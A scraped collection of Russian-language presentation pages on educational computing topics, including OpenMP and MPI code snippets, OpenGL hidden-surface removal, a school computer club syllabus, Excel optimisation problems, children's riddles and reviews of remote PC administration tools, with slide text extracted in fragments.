title: Презентация на тему: Учебный курс Параллельное программирование с OpenMP

text:
Chip
MultiThreading
Top 500
4.0
(1+x2)
0
1
i = 0
N
F(x) = 4.0/(1+x2)
4.0
2.0
1.0
X
0.0
test.cpp(49): remark #30521: (PAR) Loop at line 49 cannot be parallelized due to conditional assignment(s) into the following variable(s): b. This loop will be parallelized if the variable(s) become unconditionally initialized at the top of every iteration. [VERIFY] Make sure that the value(s) of the variable(s) read in any iteration of the loop must have been written earlier in the same iteration.
test.cpp(49): remark #30525: (PAR) If the trip count of the loop at line 49 is greater than 188, then use "#pragma loop count min(188)" to parallelize this loop. [VERIFY] Make sure that the loop has a minimum of 188 iterations.
#pragma loop count min (188)
for (i=0; i<n; i++) {
    b = A[i];
    if (A[i] > 0) {A[i] = 1 / A[i];}
    if (A[i] > 1) {A[i] += b;}
}
void Pi (void *arg)
{
   int i, start;
   double h, sum, x;
   h   = 1.0 / (double) n;
   sum = 0.0;
   start = *(int *) arg;
   for (i=start; i<= n; i=i+NUM_THREADS)
   {
       x = h * ((double)i - 0.5);
       sum += (4.0 / (1.0 + x*x));
    }
    EnterCriticalSection(&hCriticalSection);
        pi += h * sum;
    LeaveCriticalSection(&hCriticalSection);
}
Thread 0
 Thread 1
1
LOAD R1,pi
2
LOAD R2,val
3
ADD R1,R2
LOAD R3,pi
4
LOAD R4,val
5
ADD R3,R4
6
STORE R3,pi
7
STORE R1,pi
#include "mpi.h"
#include <stdio.h>
int main (int argc, char *argv[])
{
    int n =100000, myid, numprocs, i;
   double mypi, pi, h, sum, x;
    MPI_Init(&argc,&argv);
    MPI_Comm_size(MPI_COMM_WORLD,&numprocs);
    MPI_Comm_rank(MPI_COMM_WORLD,&myid);
    MPI_Bcast(&n, 1, MPI_INT, 0, MPI_COMM_WORLD);
     h   = 1.0 / (double) n;
    sum = 0.0;
BT
CG
EP
FT
IS
LU
MG
SP
Analyzing the Effect of Different Programming Models Upon Performance and Memory Usage on Cray XT5 Platforms
https://www.nersc.gov/assets/NERSC-Staff-Publications/2010/Cug2010Shan.pdf
Analyzing the Effect of Different Programming Models Upon Performance and Memory Usage on Cray XT5 Platforms
https://www.nersc.gov/assets/NERSC-Staff-Publications/2010/Cug2010Shan.pdf
#define  Max(a,b) ((a)>(b)?(a):(b))
#define  L  8
#define  ITMAX 20
int i,j,it,k;
double eps, MAXEPS   = 0.5;
double A[L][L], B[L][L];
int main(int an, char **as)
{
    for (it=1; it < ITMAX; it++)  {
       eps= 0.;
       for(i=1; j<=L-2; j++)
          for(j=1; j<=L-2; j++)  {eps =  Max(fabs(B[i][j]-A[i][j]),eps);  A[i][j] = B[i][j]; }
       for(i=1; j<=L-2; j++)
          for(j=1; j<=L-2; j++)  B[i][j] = (A[i-1][j]+A[i+1][j]+A[i][j-1]+A[i][j+1])/4.;
       printf( "it=%4i   eps=%f
", it,eps);
       if (eps < MAXEPS) break;
     }
}
OpenMPFortran 1.1
OpenMPC/C++ 1.0
OpenMP
Fortran 2.0
OpenMP
C/C++ 2.0
1998
2000
1999
2002
OpenMPFortran 1.0
1997
OpenMP
F/C/C++ 2.5
2005
OpenMP
F/C/C++ 3.0
2008
OpenMP
F/C/C++ 3.1
2011
OpenMP Architecture Review Board
AMD
Cray
Fujitsu
HP
IBM
Intel
NEC
The Portland Group, Inc.
Oracle Corporation
Microsoft
Texas Instrument
CAPS-Enterprise
NVIDIA
Convey Computer
ANL
ASC/LLNL
cOMPunity
EPCC
LANL
NASA
RWTH Aachen University
Texas Advanced Computing Center
omp_set_lock(lck)
#pragma omp parallel for private(a, b)
#pragma omp critical
C$OMP PARALLEL DO SHARED(A,B,C)
C$OMP PARALLEL  REDUCTION (+: A, B)
CALL OMP_INIT_LOCK (LCK)
CALL OMP_TEST_LOCK(LCK)
CALL CALL OMP_SET_NUM_THREADS(10)
C$OMP DO LASTPRIVATE(XX)
C$OMP ORDERED
C$OMP SINGLE PRIVATE(X)
C$OMP SECTIONS
C$OMP MASTER
C$OMP ATOMIC
C$OMP FLUSH
C$OMP PARALLEL DO ORDERED PRIVATE (A, B, C)
C$OMP THREADPRIVATE(/ABC/)
C$OMP PARALLEL COPYIN(/blk/)
nthrds = OMP_GET_NUM_PROCS()
C$OMP BARRIER
Intel Many Integrated Core (MIC)

!dir$ offload target(mic)
!$omp parallel do
            do i=1,10
                 A(i) = B(i) * C(i)
            enddo
!$omp end parallel
http://www.openmp.org
http://www.compunity.org
http://www.parallel.ru/tech/tech_dev/openmp.html


Презентация на тему: Удаленный доступ


title: Презентация на тему: Удаление невидимых линий и поверхностей

text:
A
B
C
D
foreach(p in pixels)
	if(p.z < zBuffer[p.x, p.y])
		draw( p );
		zBuffer[p.x, p.y] = p.z;
    }
A
B
C
D
C
E1
E2
+
-
+
-
+
-
A
B
C
D
E
E
+
-
void BSPNode::Draw() {
    if(face->Sign(viewer) == 1) {
        if(negative) negative->Draw();
        face->Draw();
        if(positive) positive->Draw();
    } else {
        if(positive) positive->Draw();
        face->Draw();
        if(negative) negative->Draw();
    }
}
void glFrontFace(GLenum type);
    type = {GL_CW|GL_CCW}
glEnable(GL_CULL_FACE); glDisable(GL_CULL_FACE);
x
y
z
A1
A2
A3
A1
A3
A2
e2
e1
e2
e1
glEnable(GL_DEPTH_TEST);
glDisable(GL_DEPTH_TEST);
glDepthFunc(GLenum type);
type = {GL_ALWAYS|GL_NEVER|GL_LESS|GL_GREATER|
        GL_EQUAL|GL_NOTEQUAL|GL_LEQUAL|GL_GEQUAL}
1
0
2
3
4
5
 GL_TRIANGLE_FAN: 3n vs. 1+n, n>1
1
0
2
3
4
5
6
7
 GL_TRIANGLE_STRIP: 3n vs. 2+n
 GL_QUAD_STRIP: 4n vs. 2+2n
1
0
3
2
5
4
6
7
GLuint n = glGenLists(1);
glCallList(n);
glDeleteLists(n,1);


title: Презентация на тему: Угрозы безопасности данных

text:
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level


title: Презентация на тему: учебная презентация на темуКомпьютерная графика

text:
      		учебная презентация на темуКомпьютерная графика
Презентацию выполнила Шашкина Светлана Валерьевна.

Содержание:
Компьютерная графика
Области применения
Аппаратные средства
Устройства вывода информации
Монитор
Принтер
Устройства ввода информации
Сенсорный экран
Графический планшет
Сканер
Цифровые камеры и ТВ тюнеры
Программные средства
Растровые графические редакторы
Векторные графические редакторы
Панели инструментов графических редакторов
Форматы графических файлов
Компьютерная графика
— область деятельности, в которой компьютеры используются в качестве инструмента как для создания изображений, так и для обработки визуальной информации, полученной из реального мира.
Компьютерная анимация, реклама
Научная работа
Области применения

К содержанию ◘
Конструирование
Мультимедиа
Иллюстрирование
Деловая графика
Аппаратные средства:устройства вывода данных
Монитор
Универсальное устройство вывода информации.
Монитор на электронно-лучевой трубке (ЭЛТ)
Жидкокристаллический монитор (ЖК)
К содержанию ◘
1 Матричный

3  Лазерный
Аппаратные средства:устройства вывода данных
Принтер
Предназначен для вывода на бумагу числовой, текстовой и графической информации.

 2
Струйный

К содержанию ◘
Аппаратные средства:устройства вывода данных
Сенсорный экран
По-другому, тактильный, экран представляет собой поверхность, которая покрыта специальным слоем.
К содержанию ◘
Аппаратные средства:устройства вывода данных
Графический планшет (дигитайзер)
Используется для создания либо копирования рисунков или фотографий. Он позволяет создавать рисунки так же, как на листе бумаги.
К содержанию ◘
Аппаратные средства:устройства вывода данных
Сканер
Устройство сканирования изображений, таких как тексты или рисунки. Сканер предназначен для ввода в компьютер графической или текстовой информации с листа бумаги, страницы журнала или книги.
К содержанию ◘
Аппаратные средства:устройства вывода данных
Цифровые камеры и ТВ-тюнеры
Фотоаппараты
Веб-камеры
Видеокамеры
ТВ-тюнеры
К содержанию ◘
Векторные графические редакторы
К векторным графическим редакторам относятся графический редактор, встроенный в текстовый редактор Word. Среди профессиональных векторных графических систем наиболее распространены CorelDRAW и Adobe Illustrator.

К содержанию ◘
Растровые графические редакторы
─ наилучшее средство обработки фотографий и рисунков, потому что растровые изображения обеспечивают высокую точность передачи градаций цветов и полутонов. Среди растровых графических редакторов есть, например, Paint, Adobe Photoshop.
К содержанию ◘
Панель управления
К содержанию ◘
Лупа.
Инструмент текст.
Обрезать.
Ластик.
Выделение области.
Кисть.
Форматы графических файлов
Основные форматы графических файлов:
BMP – универсальный формат растровой графики в Windows.
GIF – формат растровых графических файлов для различных ОС. Используется для размещения графических изображений в Интернете.
JPEG - формат растровых графических файлов, который использует эффективных алгоритм сжатия (с потерями). Используется для размещения графических изображений в Интернете.
WMF – универсальных формат векторных графических файлов для Windows-приложений.
CDR – оригинальный формат векторных графических файлов, используется в системе обработки изображений CorelDraw.
К содержанию ◘
В презентации использованы материалы Интернета.
Спасибо за внимание.


title: Презентация на тему: Учись учиться Компьютерная азбука

text:
Кружок «УЧИСЬ УЧИТЬСЯ» «Компьютерная азбука»
Презентацию подготовила учитель начальных классов Бушковская Наталия Васильевна

«Компьютерная азбука»
136 часов
1 класс

34 часа

2 класс

34 часа

3 класс

34 часа

4класс

34 часа
Целью обучения:
развитие интеллектуальных и творческих способностей детей средствами информационных технологий.

Задачи обучения:
познакомить школьников с устройством ввода информации - клавиатурой;
дать школьникам представления о современном информационном обществе, информационной безопасности личности и государства;
дать школьникам первоначальное представление о компьютере и современных информационных и коммуникационных технологиях;
научить учащихся работать с программами WORD, PAINT, Калькулятор;
углубить первоначальные знания и навыки использования компьютера для основной учебной деятельности;
 развить творческие и интеллектуальные способности детей, используя знания компьютерных технологий.
сформировать эмоционально-положительное отношение к  компьютерам.
Формы организации внеурочной деятельности:

вводное занятие

комбинированное учебное занятие,

занятие-презентация,

экскурсия, виртуальная экскурсия,

демонстрация,

игры

проектная деятельность

Предполагаемые результаты реализации программы

Личностные результаты.

К концу обучения в кружке учащиеся должны знать:

правила техники безопасности;
правила работы за компьютером;
назначение и работу графического редактора PAINT;
назначение и работу стандартных программ «Блокнот» и «Калькулятор»;
возможности текстового редактора WORD;
понятие информации, свойства информации;
назначение и работу программы Power Point;
Основные блоки клавиш;
Компьютерные сети;
информационные процессы;
понятие информации, свойства информации;
типы моделей;
основные понятия логики;
устройство персонального компьютера, основные блоки;
устройства ввода и вывода информации;
основные операционные системы и их отличия;
определение файла и файловой системы;
классификации вирусов;
способы защиты информации;
понятие алгоритм;
свойства алгоритмов.

Предполагаемые результаты реализации программы

Личностные результаты.

К концу обучения в кружке учащиеся должны уметь:
соблюдать требования безопасности труда и пожарной безопасности;
включить, выключить компьютер;
работать с устройствами ввода/вывода (клавиатура, мышь, дисководы);
набирать информацию на русском регистре;
запустить нужную программу, выбирать пункты меню, правильно закрыть программу.
работать с программами   WORD, PAINT, Блокнот, Калькулятор
работать со стандартными приложениями Windows;
Создавать презентации;
пошагово выполнять алгоритм практического задания ;
осуществлять поиск информации на компьютере;
осуществлять поиск информации в интернете, выделять из общего списка нужные фрагменты;
работать с программами Power Point, Черепашка, Чертежник.
работать с разными видами информации
строить суждения;
решать логические задачи;
находить сходства и отличия реальных объектов и их моделей;
работать с основными блоками компьютера, и подключать их;
пользоваться устройствами ввода и вывода информации, подключать их к компьютеру;
запускать операционные системы Windows. Linux. Mac OS ;
работать с файлами (создавать, сохранять, осуществлять поиск);
пользоваться антивирусными программами;
осуществлять ручной поиск вредоносных программ
распознавать некоторые вирусы
составлять алгоритмы;
реализовывать алгоритмы
решать задачи с использованием блок-схем
осуществлять отбор нужной информации.

Предполагаемые результаты реализации программы

Метапредметными результатами являются:
развитие познавательной, эмоциональной и волевой сфер младшего школьника; формирование мотивации к изучению предметов естественно-математического цикла.

К концу обучения в кружке учащиеся должны уметь:

оценивать результаты своей работы
осуществлять проектную деятельность;
работать в команде

Первый год обучения

Тема 1. Информационные технологии, информация.
Тема 2. Информация вокруг нас
Тема 3. Графический редактор PAINT
Тема 4. Знакомство со стандартными программами.
Тема 5. Знакомство со стандартными программами. «Калькулятор»
Тема 6.Текстовый редактор WORD
Тема 7. Развивающие игры.
Тема 8. Знакомство с медиапродукцией.

ФОТО РЕПОРТАЖ С ОТКРЫТОГО ЗАНЯТИЯ
Итоговое комбинированное учебное занятие по теме "Графический редактор PAINT» / «Масленица».

Второй год обучения

Тема 1. Из чего состоит компьютер?
Тема 2. Информация в природе и технике, определение информации, информатика, свойства информации
Тема 3. Графический редактор PAINT. Работа с палитрой цветов
Тема 4. Создание презентаций с помощью Power Point.
Тема 5. Элементарные вычисления на калькуляторе (Сложение и вычитание чисел)
Тема 6. Работа в текстовом процессоре WORD.
Тема 7. Решение головоломок (логических задач).
Тема 8. Разработка простейших компьютерный программ.
Тема 9. Работа на клавиатурном тренажере.
Тема 10. Мультимедийная информация и ее применение в обучении.
Тема 11. Сетевые технологии.
Третий год обучения

Тема 1. Информация. Информационные процессы.
Тема 2. Логика.
Тема 3. Моделирование.
Тема 4. Компьютерный эксперимент.
Тема 5. Применение компьютера при решении математических задач.
Тема 6. Повторение и обобщение.
Четвёртый год обучения

Тема 1. Вводное занятие
Тема 2. Устройство ПК.
Тема 3. Устройства вода и вывода информации.
Тема 4. Операционные системы.
Тема 5. Файл.
Тема 6. Файловая система.
Тема 7.  Защита информации.
Тема 8. Вирусы.
Тема 9. Алгоритмы.

Формы и виды контроля

Контроль и оценка обучающихся в кружке осуществляется при помощи текущего и итогового контроля в форме викторин, защиты проектной работы (в конце каждого года).

Возможно проведение мастер-класса в форме открытого занятия, кружка для посещения другими учащимися с целью повышения мотивации при изучении компьютера.

СПАСИБО ЗА ВНИМАНИЕ


title: Презентация на тему: Учебное занятие по математике и информатике на тему "Решение транспортных задач с MS Excel"

text:
МИНИСТЕРСТВО    ПРОСВЕЩЕНИЯ    ПМРГОУ СПО «КАМЕНСКИЙ    ПОЛИТЕХНИЧЕСКИЙ    ТЕХНИКУМ»Учебно-исследовательская    работа    по   предмету:  «Математика» & «Информатика»Выполнили    студенты Стахурская О. В.   Ротарь О. В.Руководитель: преподаватель Кушнир А. И.КАМЕНКА,  2013
Решение транспортных задач и их практическое применение в современном производственном процессе
ЗАДАЧИ РАСПРЕДЕЛИТЕЛЬНОГО  ТИПА.Задачи распределительного типа применяются для распределения ресурсов.
ЗАДАЧА №1.Крестьянское хозяйство имеет посевную площадь 100 га. На этой площади планируется посеять две культуры P1 и P2 (сахарную свеклу и картофель). На период сева хозяйство располагает трудовыми ресурсами в 2100 чел/дней. Хозяйство заключило договор на поставку заводу культур  P1 массой 1800 т.Удельные затраты труда на посев культур P1 и P2 составляет 0,7 и 3,5 чел-дней/га. Предполагаемый удельный доход от продажи продукции культур P1 – 100000 руб/га и P2 – 250000 руб/га. Урожайность культуры P1 – 12 т/га. Требуется определить какую часть площади нужно засеять культурой P1, а какую – культурой P2, чтобы доход хозяйства был максимальным.

ЗАДАЧА №2.Для пошива юбок и платьев швейный цех имеет 96 м. ткани. На пошив одной юбки тратят 3 м. ткани и 1,8 ч. работы оборудования, а на пошив одного платья – 2 м. ткани и 0,6 ч. работы оборудования. Время работы оборудования ограниченно 45 ч/неделю.Прибыль от продажи 1 юбки – 18 рублей, а одного платья – 10 руб. Определить еженедельный план производства, который обеспечит наибольшую прибыль от реализации готовой продукции, если платьев необходимо изготовить больше  20, а юбок больше 30.

ЗАДАЧА № 3.В ходе производственного процесса из листов материала получают заготовки деталей двух типов А и Б тремя различными способами, при этом количество получаемых заготовок при каждом методе различается.    Необходимо выбрать оптимальное сочетание способов раскроя, для того чтобы получить 500 заготовок первого типа и 300 заготовок второго типа при расходовании наименьшего количества листов материала.

ЗАДАЧА ТРАНСПОРТОГО ТИПА.   Одной из типичных задач ЛП является транспортная задача. Она возникает при планировании наиболее рациональных перевозок грузов. В одних случаях это обозначает определение такого типа плана перевозок, при котором стоимость или путь были бы минимальны, а в других более важным является выигрыш во времени.
ЗАДАЧА №4.   В хозяйстве в заданный агротехнический срок (20 дней) нужно одновременно выполнить следующие виды и объемы работ: вспашка зяби – 13000 усл. га., лущение стерни – 2000 усл. га., сволакивание соломы – 2400 усл. га.    Необходимо найти оптимальное распределен работ по маркам тракторам, если известно, что средняя дневная выработка с учетом надежности и сменности тракторов составляет усл. га.: К-700А – 25, Т-4А – 20, ДТ-75М – 6, МТЗ-80 – 35. Число тракторов в хозяйстве, шт.: К-700А – 5, Т-4А – 20, ДТ-75М – 40, МТЗ-80 – 3. Затраты на выполнение работ:

ЗАДАЧА №5.В хозяйстве общая площадь пашни 500 га. Посевы зерновых должны занимать ≤ 60% пашни; культуры на зеленый корм ≤ 4%. Запас кормов – 30 ц корм.ед.В соответствии с планом поставок с/х продукции хозяйство должно произвести не менее 3000 ц молока. Цена на реализацию продукции: на зерно – 90 руб; молоко – 150 руб; свеклу – 5 руб за 1 ц; на свиноматок – 4500 руб за 1 голову. Необходимо определить сочетание отраслей хозяйств, обеспечивающие максимум чистого дохода.

 Таким образом, можно сделать следующий вывод, что оптимизационные задачи решают вопросы производства, как сократить расходы и увеличить прибыль. Представленные задачи для примера в нашей презентации показывают, что программа Excel может с легкостью быть использована как в с/х, так и в металлургической промышленности и в швейном производстве и в многих других отраслях производства. При этом уже нет необходимости в трудоемком расчете математических алгоритмов.   Данная работа содержит как математическую теорию, необходимую для решения задач, так и описаний программных средств решения задач. Но стоит заметить, что не следует применять компьютерные средства не зная математической теории – это путь к ошибочным решениям. Ни один компьютер не заменит человека!


title: Презентация на тему: Угринович «Информатика и ИКТ»

text:
Windows
Linux
Windows
Linux
WebLab

?
?


Презентация на тему: Учителям о сайтах


title: Презентация на тему: Угрозы безопасности, связанные с использованием электронной почты в организациях

text:
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level


Презентация на тему: Умеет ли компьютер думать?


title: Презентация на тему: Quick Basic

text:
10 a=2

20 b=a*3

30 a=a+3
2
a
b
6
5
a
n = 1
n = 2
n = 1
n = 2
i = 0
S=0: P=1
FLAG = 0
NUM
FLAG<>0
s , p
i = i + 1


title: Презентация на тему: Учись решать, стараясь рассуждать!

text:
Учись решать, стараясь рассуждать!!!
РАЗМИНКА
Миша тратит на дорогу в школу 5 минут. Сколько минут он потратит на эту дорогу вдвоём с мамой?
Какие сто букв могут остановить движение транспорта?
Чего нет в дыне, ни в тыкве, но есть в арбузе, помидоре, огурце?
Как называется кусок ткани, которым покрывают стол?
Земля, где возле Нила, банан жуёт горилла, где родина жирафика. Земля зовётся …
Одно бросил, целую горсть взял. Что это?
В ночь мороз, с утра капель, значит на дворе…
Как называется птичий домик?
Как называется будущий цветок?
Смотри дерево по плодам, а человека по …

В школьной сумке я лежу, как ты учишься – скажу.
Из-под  снега расцветает, раньше всех весну встречает.
Пришла без красок и кисти и перекрасила все листья.
Я вырос на грядке, характер мой гадкий, куда ни приду, всех до слёз доведу.
Посмотрите, дом стоит, до краёв водой налит, без окошек, но не мрачный, с четырёх сторон прозрачный, в этом домике жильцы – все умелые пловцы.
Он гоняет облака, треплет на море суда, мельницами управляет. Кто всем этим заправляет?
Белый камушек растаял, на доске следы оставил.
В огороде у дорожки стоит солнышко на ножке. Только жёлтые лучи у него не горячи.
Берут в лес, чтобы складывать в неё грибы.
Длинное узкое помещение.
Посуда для жарки.
Что будет, если написать 7 «Я»?
Картина старая висит, она о том мне говорит, каков был дед мой в 20 лет. Картину ту зовут …
Любит он во рту скрываться, знать, боится показаться.
Он пушистый, любит ласку, с огоньком зелёным глазки, в доме для него работа – на мышей вести охоту.
Страна, которую носят на голове.
Ближайшая к Земле звезда, видимая в дневное время.

Что можно подержать только в левой руке?
Греет ли зимой шуба?
Какие две  ноты  растут в огороде?
Без труда не вынешь…
Сколько месяцев в году насчитывают 28 дней?
Имена трёх русских былинных богатырей.
Этот великий композитор сочинял и играл свои произведения, будучи глухим. Кто это?
Какое колесо не вращается при спуске автомобиля с горы?

Переделайте предложения, заменив фразеологизмы подходящими по смыслу словами.
Они жили душа в душу.
У Знайки – ума палата.
Диктант на носу, а он и в ус не дует.
Слышно как муха пролетит.
На фильм пришли к шапочному разбору.
Он себе на уме.
Дома его в ежовых рукавицах держат.
Он хулиганит, а ему всё с рук сходит.
Он палец о палец не ударит, чтобы помочь.
В работе он кого хочешь за пояс заткнёт.
Строго.
Поздно.
Тихо.
Дружно.
Скоро.
Не волнуется.
Не постарается.
Сообразительный
Превзойдёт.
Замкнутый.
Не наказывали.
Найдите ту Бабу-Ягу, которая живёт в этой избущке.

1
2
3
4
5
 Впишите  в клетки слова так, чтобы они вместе с буквами, стоящими рядом образовали новые слова.
ДЫРО
ЛЕДО
ПРИ
У
КОЛО
ПРИЗ
М
Ф
БАТ
БА
К
Р
  ПОЛ
В столбики записаны фамилии людей, род их занятий и произведения. Определи, кто из них кем является и что ими создано. Соедини стрелочкой.
И. Левитан
В. Перов
И. Шишкин
А. Пушкин
В. Шаинский
А. Толстой
Н. Носов
П. Чайковский
Л. Толстой
М. Глинка
писатель
композитор
художник
художник
писатель
писатель
композитор
художник
композитор
писатель
«Чунга-Чанга»
картина «Тройка»
картина «Март»
картина «Утро в сосновом бору»
«Приключения  Незнайки»
опера «Руслан и Людмила»
«Приключения Буратино»
сказка «Три медведя»
поэма «Руслан и Людмила»
балет «Щелкунчик»
Отгадай, в каких именах спрятались ноты.

      ля,          ля, фа              ,                ре     ,

ми          ,               ми          ,           си               ,

              си      ,            до      .

Когда Оля спросила у дедушки, сколько ему лет, дед ответил: «Если проживу ещё половину того, что я прожил, да ещё один год, то мне будет сто лет». Сколько лет Олиному дедушке?

Журнал состоит из 16 двойных листов. На каком листе сумма номеров страниц наибольшая?
Однажды на школьном дворе встретились 5 мальчиков.  Они быстро познакомились и стали спрашивать друг друга, сколько кому лет. Оказалось, что Гриша младше Феди, но старше Васи. Федя младше Коли, а Данила младше Васи. Сколько лет каждому, если им 6, 7, 8, 9 и 10лет.
Вставь в пословицы нужные по смыслу антонимы.
Петь хорошо _____, а говорить ________.
Труд всегда _______, а лень только ________.
_________ сторона – мать, ______ - мачеха.
Лучше пощёчина от _____, чем хлеб от ________.
Не хитро _________, хитро _______.
__________ дело лучше _________ безделья.
У мудрого человека ________ уши и _________ язык.
Пока молод, не страшен ни _____, ни _______.
Не было бы _______, да ________ помогло.
Не верь ________, верь _________.
Слова для справок: длинный – короткий, вместе – отдельно, жар - холод, счастье – несчастье, даёт – берёт, маленький - большой, родной – чужой, взять – отдать, друг – враг, начало – конец.
Вставьте вместо точек слово из трёх букв, которое служило бы окончанием первого слова и началом второго.

КАРНА (…) ЬС
ВАМ (…) АМИДА
ПОД (…) ОК
КОН (…) ГАН
Помоги собрать гостей!
Это было в воскресенье
У слона на дне рожденья.
Гости пели, веселились,
В хороводе так кружились,
Так кружились, так вертелись,
Что на части разлетелись.
Раз, два, три, четыре, пять,
Помоги гостей собрать.

АН – ЛО – ТИ –
ДИ – ПА – КО – ДИЛ
КО – КРО – ШИМ – КО – ЗЕ – ПАН – РИЛ
НА – МОТ – ГЕ – БЕ – РАФ – Е – ГИ – МУР – ГО – ЛА – ЛЕ – БРА – БРАЗ – ЖИ!

Решите анаграммы и исключите лишнее слово.

АТСЕН
               ТИВОНР
                           РАКЫШ
                                            КООН
Лягушка встречала гостей. Лиса пришла раньше
Медведя. Волк позже Зайца, Медведь раньше Зайца,
Сорока позже Волка. Напиши, кто пришёл раньше
всех? Кто был последним?
Подберите слово, которому могут предшествовать любые из букв слева.

С
ПРИ
ИС
РОС                          (…)
КА
ОТ
ЛИС
ПЛА
Отгадайте слова.

Поймите закономерность и впишите  недостающее слово в скобки нижнего ряда.
АРГОН (РОЗА) ГРОЗА
АТЛЕТ (_ _ _ _ ) НОРМА

ТОРГ (ГРАЧ) ЧАЙКА
ГОРБ (_ _ _ _) СУДАК

ПЛАТА (ТАНК) ОКУНЬ
ВЕРБА (_ _ _ _) АТЛАС
КОРА (КОЗА) АЗОТ
КЛЁН (_ _ _ _) ПИЛА
Ты наверняка узнаешь некоторые из этих картинок (друдлов)

В пустые клеточки впиши буквы так, чтобы вместе с уже написанной буквой К в каждой строчке получилось слово.
К

Подберите к каждой группе слово, которому могут предшествовать любые из букв слева.
М
С
ЯГ
В
ШК
БОР
(…)
О каком человеке так говорят?
1. У него денег куры не клюют.
а) бедный         б) богатый         в) трудолюбивый
2. Он сухим выйдет из воды.
а) ловкий          б) робкий            в) весёлый
3. Он звёзд с неба не хватает.
а) умный           б) глупый           в) высокий
4. У него семь пятниц на неделе.
а) ненадёжный   б) надёжный      в) богатый
5. Он обведёт вокруг пальца кого-либо.
а) простодушный   б)сильный      в) хитрый
Вася записал 99 чисел: 1, 2, 3, …, 98, 99. Сколько раз ему в записи встретилась цифра 5?

3 курицы за 3 дня снесли 3 яйца. Сколько яиц снесут 12 кур за 12 дней, если они будут нести такое же и одинаковое количество яиц за один и тот же промежуток времени?
В чаще букв спрятано 10 названий ягод и плодов. Помогите ежу отыскать их, чтобы сделать запасы на зиму.
В четырёхэтажном доме Зина живёт выше Кати, но ниже Вали, а Даша живёт ниже Кати. Кто на каком этаже живёт?

Пользуясь только сложением, запиши число 28 при помощи пяти двоек.
Какие слова зашифрованы в ребусах?
А
ча

е
е
е
е
е
е
е
е
е
е
е
е
ФО
РИ

РОТ
А
НАС
+ ЦА
ЛИ
НЬ

Х
СТ
У
ШКА
Д
РО
А
а
Подберите к каждому существительному из правой колонки соответствующее определение из левой.

ГОЛОДНЫЙ
ГРЯЗНАЯ
КОЛЮЧИЙ
БОРОДАТЫЙ
СТРОЙНАЯ
КОСОЛАПЫЙ
ДЛИННОНОГАЯ
ЖЕЛТОРОТЫЙ
РАСФУФЫРЕННЫЙ
МЕДВЕДЬ
ПТЕНЕЦ
ВОЛК
ПАВЛИН
ЁЖ
СВИНЬЯ
КОЗЁЛ
ЦАПЛЯ
ЛАНЬ
Замени в предложениях и текстах повторяющиеся слова синонимами.

Среди маленьких животных своими        микро-
маленькими размерами                         скопическими
отличается маленькая                            крошечными
птичка колибри.

Весёлые ребята своими весёлыми     жизнерадостный
шутками развеселили самых              рассмешить
невесёлых старушек.                           мрачный
Отгадайте, какие слова спрятались на картинках (изографы)

Закончите крылатые выражения, встречающиеся во многих сказках:
Поди туда – не знаю куда, ____________________.
Скоро сказка сказывается, _____________________.
Я там был, мёд-пиво пил, ____________________.
В некотором царстве, __________________________.
Жили-были _____________________.
Это всё присказка, _______________.
Какие слова зашифрованы в ребусах?
,
,
Л
Составьте за 1 минуту 10 слов по конструкции:
М _ _
М _ _
М _ _
М _ _
М _ _
М _ _
М _ _
М _ _
М _ _
М _ _
Соедини половинки слов так, чтобы получились целые слова.

МЕЛ
ТРИ
ФАРТ
ПА
УРА
ПАР
ПА
ГОР
КОСТЬ
ГАН
ШОК
АД
ОДИЯ
УК
БУНА
СТА
Заполни пустые клетки синонимами, состоящими из такого же количества букв.
Какие слова вписаны в окружности.
Головная боль для дворника
Детская игра
Молодцы)))


title: Презентация на тему: Удобное и рентабельное меню

text:
Удобное и рентабельное меню на сайте
www.impools.pro
Горизонтальное меню и технические страницы
Не более 7 блоков

Только тех. страницы

Выпадающее меню (!)

Поиск
Выпадающее меню
Вертикальное меню
Выравниваем шрифт по левому краю
Нежелательно чтобы блок меню выходил за границы первого экрана
Выстраиваем товары по приоритету*
Возможно использование инфографики
Деление  по группам с помощью выпадающих меню

Спасибо за внимание!
www.impools.pro
https://vk.com/im_station
+7 (499) 390-99-29
info@impools.pro
Ткачев Владислав Владимирович


title: Презентация на тему: УГРОЗЫ БЕЗОПАСНОСТИ ИНФОРМАЦИИ, ИХ ВИДЫ

text: Prezentacii.com


title: Презентация на тему: Удобные сайты

text:
WebProjects.ru
WebProjects.ru


title: Презентация на тему: Удаленное управление ПК

text:
Программы
для
удаленного устройства
Выполнила: студентка 23 группы
Решетникова Т.Ю.
Anyplace Control 3.3

Anyplace Control 3.3 позволяет работать в двух режимах: просмотра и управления. В первом режиме возможно отображать на экране рабочий стол удаленного ПК и наблюдать за действиями пользователя, а в режиме управления — полностью перехватывать управление удаленным ПК. Интересной особенностью режима удаленного управления является то, что работа самого пользователя удаленного ПК при этом не блокируется. Однако и в том, и в другом режиме пользователь удаленного ПК получает уведомление в виде иконки в системном трее, что его компьютер находится «под колпаком».

Для подключения к удаленному ПК его прежде всего необходимо выбрать из списка. Встроенный сканер позволяет отображать все компьютеры локальной сети (домена или рабочей группы), причем можно настроить фильтр на отображение только ПК, уже имеющих установленную клиентскую часть программы, то есть тех, к которым можно подключиться.

Access Remote PC 4.12.2

Утилита Access Remote PC 4.12.2 также относится к разряду клиент-серверных приложений и позволяет перехватить рабочий стол и получить полный доступ к любому ПК.На управляемом ПК устанавливается серверная часть программы, а на компьютере, с которого производится управление, - клиентская часть. При установке серверной части программы на компьютерах, подлежащих удаленному управлению, задаются имя пользователя, для которого санкционировано удаленное управление, и пароль доступа.

	К недостаткам данной утилиты можно отнести невозможность удаленного одновременного управления несколькими ПК с использованием единого интерфейса. Однако можно одновременно запустить несколько сессий подключений (каждая из них в собственном окне), и тогда реализуется возможность управления несколькими удаленными компьютерами. Другой недостаток программы - невозможность удаленной установки ее серверной части.
	К достоинствам Access Remote PC относится то, что она может работать с брандмауэрами, поддерживает динамические IP-адреса и, что немаловажно, практически не подтормаживает даже на медленных сетевых соединениях, включая модемные. К тому же данная утилита позволяет с легкостью передавать файлы между компьютерами, для чего предусмотрен специальный режим Transfer Files ,а также поддерживает работу с буфером обмена, то есть позволяет синхронизовать буферы обмена на локальном и удаленном ПК, что упрощает передачу текстовых фрагментов между ПК. Еще одним достоинством программы является поддержка шифрования при передаче данных по алгоритму RC4 со 160-битным ключом.

LanHelper 1.61

LanHelper 1.61 -это небольшая утилита, позволяющая автоматизировать процесс управления локальной сетью.

